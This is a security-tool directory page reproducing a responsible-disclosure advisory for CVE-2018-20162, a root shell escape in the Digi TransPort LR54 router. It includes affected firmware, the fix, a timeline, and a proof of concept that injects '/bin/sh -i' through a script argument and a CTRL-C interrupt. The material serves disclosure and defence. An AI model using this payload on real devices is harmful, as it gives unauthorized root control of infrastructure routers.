Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2018-20162-digi-lr54-restricted-shell-escape — Proof-of-concept exploit for CVE-2018-20162: sandbox escape in Digi TransPort LR54 LTE router via SIGINT handling flaw, yielding root shell access. | Kitploit
Tools/GitHubGitHub/stigtsp/cve-2018-20162-digi-lr54-restricted-shell-escape
Embedded Systems SecurityPrivilege EscalationIoT SecurityVulnerability AnalysisExploitationPenetration TestingHardware & IoT SecurityRed Teaming
Share
GitHub
stigtsp/cve-2018-20162-digi-lr54-restricted-shell-escape

CVE-2018-20162-digi-lr54-restricted-shell-escape

Proof-of-concept exploit for CVE-2018-20162: sandbox escape in Digi TransPort LR54 LTE router via SIGINT handling flaw, yielding root shell access.

View Repository
2427 years agoNot yet reviewed

layout: post title: "CVE-2018-20162: Digi TransPort LR54 Restricted Shell Escape" author: sgo category: security

The Digi TransPort LR54 is a high speed LTE router commonly used by industry, infrastructure, retail and public transportation.

It supports running python scripts in a restricted sandbox, and has a custom shell accessible over SSH which is subjected to the same restrictions. The underlying OS is therefore inaccessible to the administrator.

I've found a way to break out of the sandbox and obtaining a root shell by exploiting the way the cli handles command line arguments when executing python scripts:

When an interactive python process receives a SIGINT (trough CTRL-C), arguments to the script are not properly escaped when passed to the interactive CLI's error logging handler. This allows an attacker to execute arbitrary commands as root.

To exploit this vulnerability, an attacker needs to have interactive CLI access with 'super' privileges. A user with this access level is enabled by default on the device.

Vulnerable

Digi Transport LR54 (and maybe related products like WR64 and WR54)

Firmware Version : 4.4.0.26 10/29/2018 21:14:06 Firmware Version : 4.3.2.24 09/06/2018 00:58:34

And maybe earlier versions

Migitation

Users should upgrade to firmware version 4.5.1.4 or newer. Secrets stored on the device, like private keys and passphrases, should be changed as a precaution.

Proof of Concept

  1. Upload sleep.py to the LR54 using scp or sftp, containing:
import time;time.sleep(10)
  1. Execute the following command in the LR54 cli:
python sleep.py --XXX $(/bin/sh -i >&2)
  1. Immediately press CTRL-C after the program starts

  2. You are then dropped to an interactive root shell

/home/digi/user # uname -a
Linux (none) 3.10.14 #1 SMP Mon Oct 29 16:18:10 CDT 2018 mips GNU/Linux
/home/digi/user # id
uid=0(root) gid=2000(users_rw) groups=2000(users_rw),2002(users_super)

Timeline

  • 2018-12-13: Vulnerability discovered
  • 2018-12-14: PoC created, Vendor notified
  • 2018-12-14: Vendor confirmed, 60 day embargo. Applied for CVE.
  • 2018-12-15: CVE-2018-20162 assigned
  • 2018-12-31: Received pre-release firmware. Confirmed not vulnerable.
  • 2019-01-02: Vendor releases fixed firmware 4.5.1.4
  • 2019-01-25: Vendor updated release notes to reference CVE-2018-20162
  • 2019-02-13: Vendor ok'ed disclosure, Embargo lifted

References

  • https://www.digi.com/products/networking/cellular-routers/digi-transport-lr54
  • http://ftp1.digi.com/support/firmware/transport/LR54/v4.5.1.4/93001306_L.pdf
  • https://www.digi.com/resources/security
  • https://blog.hackeriet.no/cve-2018-20162-digi-lr54-restricted-shell-escape
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20162

Credits

Vulnerability discovered by Stig Palmquist.

Thanks to @duniel_pls and @alexanderkjall for reviewing this report.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    927
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    357
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    324
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →